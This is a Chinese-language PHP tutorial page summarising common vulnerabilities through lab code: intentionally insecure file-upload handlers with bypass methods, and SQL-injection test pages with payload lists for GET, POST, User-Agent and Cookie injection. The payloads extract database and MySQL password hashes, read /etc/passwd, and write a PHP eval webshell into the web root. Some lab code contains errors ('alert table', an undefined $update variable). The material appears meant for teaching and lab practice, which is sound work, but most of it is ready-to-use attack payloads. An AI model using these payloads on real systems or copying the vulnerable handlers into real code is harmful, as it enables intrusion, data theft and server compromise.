首頁 後端開發 php教程 非常全面! PHP常見漏洞程式碼總結!

非常全面! PHP常見漏洞程式碼總結!

Jan 20, 2023 pm 02:22 PM
php 漏洞

這篇文章為大家帶來了關於PHP漏洞的相關知識,其中主要給大家總結介紹PHP的常見漏洞代碼都有哪些,非常全面詳細,下面一起來看一下,希望對需要的朋友有所幫助。

非常全面! PHP常見漏洞程式碼總結!

漏洞總結

#PHP 檔案上傳漏洞

只驗證MIME類型: 程式碼中驗證了上傳的MIME類型,繞過方式使用Burp抓包,將上傳的一句話小馬*.php中的Content-Type:application/php,修改成Content-Type: image /png然後上傳.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
// 判断 content-type 的类型,如果是image/png则通过
if($_FILES[&#39;upload_file&#39;][&#39;type&#39;] == &#39;image/png&#39;)
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
$img_path = UPLOAD_PATH . &#39;/&#39; . $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
if (move_uploaded_file($temp_file, $img_path))
echo "上传完成.";
else
echo "上传出错.";
}
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>
登入後複製

白名單的繞過: 白名單就是允許上傳某種類型的檔案,該方式比較安全,抓包上傳php後門,然後將檔案名改為.jpg即可上傳成功,但是有時候上傳後的檔案會失效無法拿到Shell.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$allow_ext = array(".jpg",".png",".jpeg");

$file_name = trim($_FILES[&#39;upload_file&#39;][&#39;name&#39;]); // 取出文件名
$file_ext = strrchr($file_name, &#39;.&#39;);
$file_ext = str_ireplace(&#39;::$DATA&#39;, &#39;&#39;, $file_ext); //去除字符串::$DATA
$file_ext = strtolower($file_ext);                  // 转换为小写
$file_ext = trim($file_ext);                        // 首尾去空

if(in_array($file_ext, $allow_ext))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
$img_path = UPLOAD_PATH.&#39;/&#39;.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path))
echo "上传完成: {$img_path} <br>";
else
echo "上传失败 <br>";
}
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>
登入後複製

白名單驗證檔頭: 本關主要是允許jpg/png /gif這三種文件的傳輸,且代碼中檢測了文件頭的2字節內容,我們只需要將文件的頭兩個字節修改為圖片的格式就可以繞過.

通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49 以JPEG為例,我們在一句話木馬的開頭加上兩個11也就是二進位的3131,然後將.php修改為.jpg,使用Brup抓包發送到Repeater模組,將HEX編碼3131改為FFD8點Send後成功上傳JPG.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
    $file = fopen($filename, "rb");
    $bin = fread($file, 2);
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo[&#39;chars1&#39;].$strInfo[&#39;chars2&#39;]);    
    $fileType = &#39;&#39;;    
    switch($typeCode)
    {      
        case 255216: $fileType = &#39;jpg&#39;; break;
        case 13780:  $fileType = &#39;png&#39;; break;        
        case 7173:   $fileType = &#39;gif&#39;; break;
        default:     $fileType = &#39;unknown&#39;;
        }    
        return $fileType;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>
登入後複製

繞過檢測文件頭: 這種方式是通過文件頭部起始位置進行匹配的從而判斷是否上傳,我們可以通過在上傳文件前面追加合法的文件頭進行繞過,例如在文件開頭部位加上GIF89a即可完成繞過,或如果是\xffxd8\xff我們需要在文件開頭先寫上���然後,選擇特殊字元,右擊CONVERT->URL->URL -Decode編碼後釋放.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
    $fh = fopen($filename, "rb");
    if($fh)
    {
     $bytes = fread($fh,6);
     fclose($fh);
     if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){
     return "image/jpeg";
     }
     if($bytes == "\x89PNG\x0d\x0a"){
     return "image/png";
     }
     if($bytes == "GIF87a" or $bytes == "GIF89a"){
     return "image/gif";
     }
    }
    return &#39;unknown&#39;;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
     echo "状态: {$file_type} ";
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
     $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
     $img_path = UPLOAD_PATH . "/" . $file_name;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传 {$img_path} 完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>
登入後複製

影像偵測繞過: 透過使用影像函數,偵測檔案是否為影像,如需上傳則需要保持影像的完整性,所以無法透過追加文件頭的方式繞過,需要製作圖片木馬上傳.

針對這種上傳方式的繞過我們可以將圖片與FIG文件合併在一起copy /b pic.gif shell.php 1.php上傳即可繞過.

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

function getReailFileType($filename)
{
// 检查是否为图像
if(@getimagesize($filename))
{
if(@imagecreatefromgif($filename)){
return "image/gif";
}
if(@imagecreatefrompng($filename)){
return "image/png";
}
if(@imagecreatefromjpeg($filename)){
return "image/jpeg";
}
}
    return &#39;unknown&#39;;
}

if(isset($_POST[&#39;submit&#39;]))
{
if(file_exists(UPLOAD_PATH))
{
$temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
     $file_type = getReailFileType($temp_file);
     echo "状态: {$file_type} ";
      if($file_type == &#39;unknown&#39;)
      {
        echo "上传失败 <br>";
    }else
    {
     $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
     $img_path = UPLOAD_PATH . "/" . $file_name;
        if(move_uploaded_file($temp_file,$img_path))
         echo "上传 {$img_path} 完成 <br>";
    }
}
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>
登入後複製

上傳條件競爭: 這裡是條件競爭,先將檔案上傳到伺服器,然後判斷檔案後綴是否在白名單裡,如果在則重命名,否則刪除,因此我們可以上傳1.php只需要在它刪除之前訪問即可,可以利用burp的intruder模組不斷上傳,然後我們不斷的訪問刷新該地址即可

<?php
header("Content-type: text/html;charset=utf-8");
define("UPLOAD_PATH", "./");

if(isset($_POST[&#39;submit&#39;]))
{
$ext_arr = array(&#39;jpg&#39;,&#39;png&#39;,&#39;gif&#39;);
    $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];
    $temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . &#39;/&#39; . $file_name;

    if(move_uploaded_file($temp_file, $upload_file))
    {
     if(in_array($file_ext, $ext_arr))
     {
     $img_path = UPLOAD_PATH . &#39;/&#39;. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             echo "上传完成. <br>";
     }else
     {
     unlink($upload_file);
     echo "上传失败. <br>";
     }
    }
}
?>

<body>
<form enctype="multipart/form-data" method="post">
        <input type="file" name="upload_file">
        <input type="submit" name="submit" value="上传">
    </form>
</body>
登入後複製

PHP注入漏洞

基本查詢語句

建置SQL注入演練環境,首先確保MySQL版本為MySQL 5.7以上,並匯入下方的資料庫腳本自動建立對應的資料庫檔案.

drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists local_user;
create table local_user(
id int(10) primary key not null,
username varchar(100) not null,
password varchar(100) not null,
usremail varchar(100) not null,
usertype int(1) default 0
);
alert table local_user character set utf8;
insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"),
(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),
(4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"),
(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),
(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),
(10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");
登入後複製

接著安裝好PHP7.0以上版本的環境,並建立index.php檔案,寫入以下測試程式碼,資料庫密碼請自行修改.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    $id = $_GET[&#39;id&#39;];
    if(isset($id))
    {
            $sql = "select * from local_user where id=&#39;$id&#39; limit 0,1";
            $query = mysqli_query($connect,$sql);
            if($query)
             $row = mysqli_fetch_array($query);
    }
}
?>
<body>
<table border="1">
   <tr>
    <th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th>
   </tr>
   <tr>
          <td><?php echo $row[&#39;id&#39;]; ?></td>
          <td><?php echo $row[&#39;username&#39;]; ?></td>
          <td><?php echo $row[&#39;password&#39;]; ?></td>
          <td><?php echo $row[&#39;usremail&#39;]; ?></td>
          <td><?php echo $row[&#39;usertype&#39;]; ?></td>
   </tr>
</table><br>
<?php echo &#39;<hr><b> 后端执行SQL语句:  </b>&#39; . $sql;  ?>
</body>
</html>
登入後複製

Union查詢字段數: Union可以用於一個或多個SELECT的結果集,但是他有一個條件,就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,也就是說當我們union select的列與它查詢的列相同時,頁面返回正常.

首先我們猜測,當前字段數為4的時候頁面無返回,也就說明表字段數必然是大於4的,接著增加一個字段,查詢1,2,3,4,5時頁面顯示正常,說明表結構是5個字段的.

index.php?id=1&#39; and 1=0 union select 1,2,3,4 --+

index.php?id=1&#39; and 1=0 union select 1,2,3,4,5 --+
index.php?id=1&#39; and 1=0 union select null,null,null,null,null --+
登入後複製

Order By查詢字段數: 在SQL語句中是對結果集的指定列進行排序,比如我們想讓結果集按照第一列排序就是order by 1按照第二列排序order by 2依次類推,按照這個原理我們來判斷他的字段數,如果我們按照第1列進行排序資料庫會回傳正常,但是當我們按照第100列排序,因為資料庫中並不存在第100列,從而報錯或無法正常顯示.

首先我們猜測資料庫有6個欄位,嘗試根據第6行進行排序發現資料無法顯示,說明是小於6的,我們繼續使用5測試,此時傳回了結果.

index.php?id=1&#39; and 1 order by 6 --+
index.php?id=1&#39; and 1 order by 5 --+
登入後複製

大部分程式只會呼叫資料庫查詢的第一條語句進行查詢然後返回,如果想看到的資料是在第二條語句中,如果我們想看到我們想要的資料有兩種方法,第一種是讓第一條資料回傳假,第二種是透過sql語句直接傳回我們想要的資料.

第一種我們讓第一個查詢的結果始終為假,透過使用and 0來實現,或透過limit語句,limit在mysql中是用來分頁的,透過他可以從查詢出來的資料中取得我們想要的資料.

index.php?id=1&#39; and 0 union select null,null,null,null,null --+
index.php?id=1&#39; and 0 union select null,version(),null,null,null --+

index.php?id=1&#39; union select null,null,null,null,null limit 1,1 --+
index.php?id=1&#39; union select null,version(),null,null,null limit 1,1 --+
登入後複製

查全部資料庫名稱: MySQL預設將所有表格資料放入information_schema .schemata這個表中進行儲存,我們可以查詢這個表中的資料從而找出當前系統中所有的資料庫名稱,透過控制limit中的參數即可爆出所有資料庫.

index.php?id=1&#39; and 0 union select 1,1,database(),1,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
index.php?id=1&#39; and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+
登入後複製

查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

# 通过 limit 限定条件每次只输出一个表名称

index.php?id=1&#39; and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema=&#39;lyshark&#39; limit 0,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema=&#39;lyshark&#39; limit 1,1 --+

# 通过 concat 函数一次性输出所有表
index.php?id=1&#39; and 0 union select 1,2,3,4,group_concat(table_name)
from information_schema.tables where table_schema=&#39;lyshark&#39; --+
登入後複製

查询表中字段: 通过使用table_schema和table_name指定查询条件,即可查询到表中字段与数据.

# 查询出lyshark数据库local_user表中的,所有字段
index.php?id=1&#39; and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; --+

# 每次读取出一个表中字段,使用limit进行遍历
index.php?id=1&#39; and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; limit 0,1 --+

index.php?id=1&#39; and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema=&#39;lyshark&#39; and table_name=&#39;local_user&#39; limit 1,1 --+
登入後複製

查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.

index.php?id=1&#39; and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+
index.php?id=1&#39; and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+
index.php?id=1&#39; and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+
登入後複製

常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.

# -----------------------------------------------------------------------------------
# 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.

index.php?id=1&#39; and 1=1 --+    # 提交and判断注入
index.php?id=1&#39; and 1=0 --+
index.php?id=1%2b1             # 提交加号判断注入
index.php?id=2-1               # 提交减号判断注入
index.php?id=1 and sleep(5)    # 延时判断诸如点

# -----------------------------------------------------------------------------------
# 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
index.php?id=1&#39; and ord(mid(user(),1,1)) = 114 --+

# -----------------------------------------------------------------------------------
# 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.
index.php?id=1&#39; and(select count(*) from mysql.user) > 0

# -----------------------------------------------------------------------------------
# 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.
index.php?id=1&#39; and 0 union select 1,host,user,password,5 from mysql.user --+                // 5.6以前版本
index.php?id=1&#39; and 0 union select 1,host,user,authentication_string,5 from mysql.user --+   // 5.7以后版本

# -----------------------------------------------------------------------------------
# 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
index.php?id=1&#39; and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
index.php?id=1&#39; union select 1,load_file("/etc/passwd"),3,4,5 into outfile &#39;/var/www/html/a.txt&#39;--+
index.php?id=1&#39; union select 1,"<?php phpinfo();?>",3,4,5 into outfile &#39;/var/www/html/shell.php&#39; --+
index.php?id=1&#39; union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile &#39;/var/www/html/b.txt&#39; --+

# -----------------------------------------------------------------------------------
# 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话
create table shell(cmd text);
insert into shell(cmd) values(&#39;<?php @eval($_POST[cmd]) ?>&#39;);
select cmd from shell into outfile(&#39;/var/www/html/eval.php&#39;);

# -----------------------------------------------------------------------------------
# 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
index.php?id=1&#39; union select 1,1,load_file("/etc/passwd")       // 加载指定文件
index.php?id=1&#39; union select 1,1,@@datadir                      // 判断数据库目录
index.php?id=1&#39; union select 1,1,@@basedir                      // 判断安装根路径
index.php?id=1&#39; union select 1,1,@@hostname                     // 判断主机名
index.php?id=1&#39; union select 1,1,@@version                      // 判断数据库版本
index.php?id=1&#39; union select 1,1,@@version_compile_os           // 判断系统类型(Linux)
index.php?id=1&#39; union select 1,1,@@version_compile_machine      // 判断系统体系(x86)
index.php?id=1&#39; union select 1,1,user()                         // 曝出系统用户
index.php?id=1&#39; union select 1,1,database()                     // 曝出当前数据库
登入後複製

GET 注入

简单的注入测试: 本关中没有对代码进行任何的过滤.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<?php
function getCurrentUrl()
{
    $scheme = $_SERVER[&#39;REQUEST_SCHEME&#39;];   // 协议
    $domain = $_SERVER[&#39;HTTP_HOST&#39;];        // 域名
    $requestUri = $_SERVER[&#39;REQUEST_URI&#39;];  // 请求参数
    $currentUrl = $scheme . "://" . $domain . $requestUri;
    return urldecode($currentUrl);
}
?>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    $id = $_GET[&#39;id&#39;];
    if(isset($id))
    {
        $sql = "select username,password from local_user where id=&#39;$id&#39; limit 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
{
   echo "<font size=&#39;5&#39;>";
   echo "账号: {$row[&#39;username&#39;]} <br>";
   echo "密码: {$row[&#39;password&#39;]} <br>";
   echo "</font>";
   echo "后端执行语句: {$sql} <br>";
   $URL = getCurrentUrl();
   echo "后端URL参数: {$URL} <br>";
   }
else 
{
echo "后端执行语句: {$sql} <br>";
print_r(mysql_error());
}
        }
    }
}
?>
</body>
</html>
登入後複製

SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=$id limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=($id) limit 0,1";
http://127.0.0.1/index.php?id=-1) union select 1,version() --+
http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=&#39;$id&#39; limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=(&#39;$id&#39;) limit 0,1";
http://127.0.0.1/index.php?id=-1&#39;) union select 1,version() --+
http://127.0.0.1/index.php?id=1&#39;) and &#39;1&#39;=(&#39;0&#39;) union select 1,version() --+

$sql = "select username,password from local_user where id=((&#39;$id&#39;)) limit 0,1";
http://127.0.0.1/index.php?id=-1&#39;)) union select 1,version() --+

---------------------------------------------------------------------------------
$id = &#39;"&#39; . $id . "&#39;";
$sql = "select username,password from local_user where id=($id) limit 0,1";

http://127.0.0.1/index.php?id=-1") union select 1,version() --+
http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+
登入後複製

POST 输入框注入:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="提交表单" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);

    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
        $sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         echo "<br>欢迎用户: {$row[&#39;username&#39;]} 密码: {$row[&#39;password&#39;]} <br><br>";
         echo "后端执行语句: {$sql} <br>";
         }
         else
         {
         echo "<br>后端执行语句: {$sql} <br>";
         }
        }
    }
}
?>
</body>
</html>
登入後複製

简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

# ---------------------------------------------------------------------------------------------------------
# SQL语句
$sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
# ---------------------------------------------------------------------------------------------------------

# 爆出字段数
admin&#39; order by 1 #
admin&#39; order by 2 -- 
admin&#39; and 1 union select 1,2,3 #
admin&#39; and 1 union select 1,2 #

# 爆出数据库
admin &#39; and 0 union select null,database() #
admin&#39; and 0 union select 1,version() #

# 爆出所有表名称(需要注意数据库编码格式)
set character_set_database=utf8;
set collation_database= utf8_general_ci
alter table local_user convert to character set utf8;

&#39; union select null,table_name from information_schema.tables where table_schema=&#39;lyshark&#39; limit 0,1 #
&#39; union select null,table_name from information_schema.tables where table_schema=&#39;lyshark&#39; limit 1,1 #

# 爆出表中字段
&#39; union select null,column_name from information_schema.columns where table_name=&#39;local_user&#39; limit 0,1 #
&#39; union select null,column_name from information_schema.columns where table_name=&#39;local_user&#39; limit 1,1 #

# 继续爆出所有的用户名密码
&#39; union select null,group_concat(username,0x3a,password) from local_user #

# ---------------------------------------------------------------------------------------------------------
# 双注入-字符型
# 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
$uname = &#39;"&#39; .  $uname . &#39;"&#39;;
$passwd = &#39;"&#39; . $passwd . &#39;"&#39;;
$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";

#payload
admin") order by 2 #
admin") and 0 union select 1,version() #
admin") and 0 union select 1,database() #

# ---------------------------------------------------------------------------------------------------------
# POST型的-双注入
# 
$uname = &#39;"&#39; .  $uname . &#39;"&#39;;
$passwd = &#39;"&#39; . $passwd . &#39;"&#39;;
$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";

admin" and 0 union select 1,version() #
登入後複製

Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.

建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="Submit" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
error_reporting(0);
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);

        $sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         // 获取到用户的Agent客户请求体
         $Uagent = $_SERVER[&#39;HTTP_USER_AGENT&#39;];
// REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的
$IP = $_SERVER[&#39;REMOTE_ADDR&#39;];

echo "<br>欢迎用户: {$row[&#39;username&#39;]} 密码: {$row[&#39;password&#39;]} <br><br>";
echo "您的IP地址是: {$IP} <br>";

$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values(&#39;$uname&#39;,&#39;$IP&#39;,&#39;$Uagent&#39;)";
mysqli_query($connect,$insert_sql);
echo "User_Agent请求头: {$Uagent} <br>";
         }
        }
    }
}
?>
</body>
</html>
登入後複製

首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.

POST /post.php HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

uname=admin&passwd=123123&submit=Submit
登入後複製

修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.

User-Agent: 1&#39;,1,1)#
uname=admin&passwd=123123&submit=Submit

User-Agent: 1&#39;,1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#
uname=admin&passwd=123123&submit=Submit
登入後複製

Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
账号: <input type="text"  name="uname" value=""/><br>
密码: <input type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="Submit" />
</form>
<?php
header("Content-type: text/html;charset=utf8");
error_reporting(0);
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
$cookee = $_COOKIE[&#39;uname&#39;];
if($cookee)
{
$sql="SELECT username,password FROM local_user WHERE username=&#39;$cookee&#39; LIMIT 0,1";
$query = mysqli_query($connect,$sql);
echo "执行SQL: " . $sql . "<br>";
if($query)
{
$row = mysqli_fetch_array($query);
if($row)
{
echo "<br> COOKIE 已登录 <br>";
echo "您的账号: " . $row[&#39;username&#39;] . "<br>";
echo "您的密码: " . $row[&#39;password&#39;] . "<br>";
}
}
}
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
$uname=$_POST[&#39;uname&#39;];
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);
$sql="select username,password FROM local_user WHERE username=&#39;$uname&#39; and password=&#39;$passwd&#39; LIMIT 0,1";
$query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         $cookee = $row[&#39;username&#39;];
         if($row)
         {
         setcookie(&#39;uname&#39;, $cookee, time() + 3600);
         $format = &#39;D d M Y - H:i:s&#39;;
         $timestamp = time() + 3600;
         echo "COOKIE已设置: " . date($format, $timestamp);
         }
        }
    }
}
?>
</body>
</html>
登入後複製

以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.

Cookie: uname=admin&#39; and 0 union select database(),2--+
Cookie: uname=admin&#39; and 0 union select version(),2--+
登入後複製

update-xml注入:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf8">
    <title>SQL 注入测试代码</title>
</head>
<body>
<form action="" method="post">
账号: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
密码: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
<input type="submit" name="submit" value="提交表单" />
</form>
<?php
error_reporting(0);
header("Content-type: text/html;charset=utf8");
function Check($value)
{
if(!empty($value))
{ // 如果结果不为空,则取出其前十五个字符 18
$value = substr($value,0,15);
}
// 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
// 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
if(get_magic_quotes_gpc())
{
// 删除由 addslashes() 函数添加的反斜杠
$value = stripslashes($value);
}
if(!ctype_digit($value))
{
// ctype_digit()判断是不是数字,是数字就返回true,否则返回false
// mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
$value = "&#39;" . mysql_real_escape_string($value) . ".";
}
else
$value = intval($value);
return $value;
}
$connect = mysqli_connect("localhost","root","12345678","lyshark");
if($connect)
{
    if(isset($_POST[&#39;uname&#39;]) && isset($_POST[&#39;passwd&#39;]))
    {
     $uname=Check($_POST[&#39;uname&#39;]);
$passwd=$_POST[&#39;passwd&#39;];
$passwd = md5($passwd);
        $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1";
        $query = mysqli_query($connect,$sql);
        if($query)
        {
         $row = mysqli_fetch_array($query);
         if($row)
         {
         $rows = $row[&#39;username&#39;];
         $udate = "UPDATE local_user SET password = &#39;$passwd&#39; WHERE username=&#39;$rows&#39;";
         mysql_query($update);
         if(mysql_error())
         {
         print_r(mysql_error());
         }
         echo "后端执行语句: {$sql} <br>";
         }
         else
         {
         echo "<br>后端执行语句: {$sql} <br>";
         }
        }
    }
}
?>
</body>
</html>
登入後複製

推荐学习:《PHP视频教程

以上是非常全面! PHP常見漏洞程式碼總結!的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
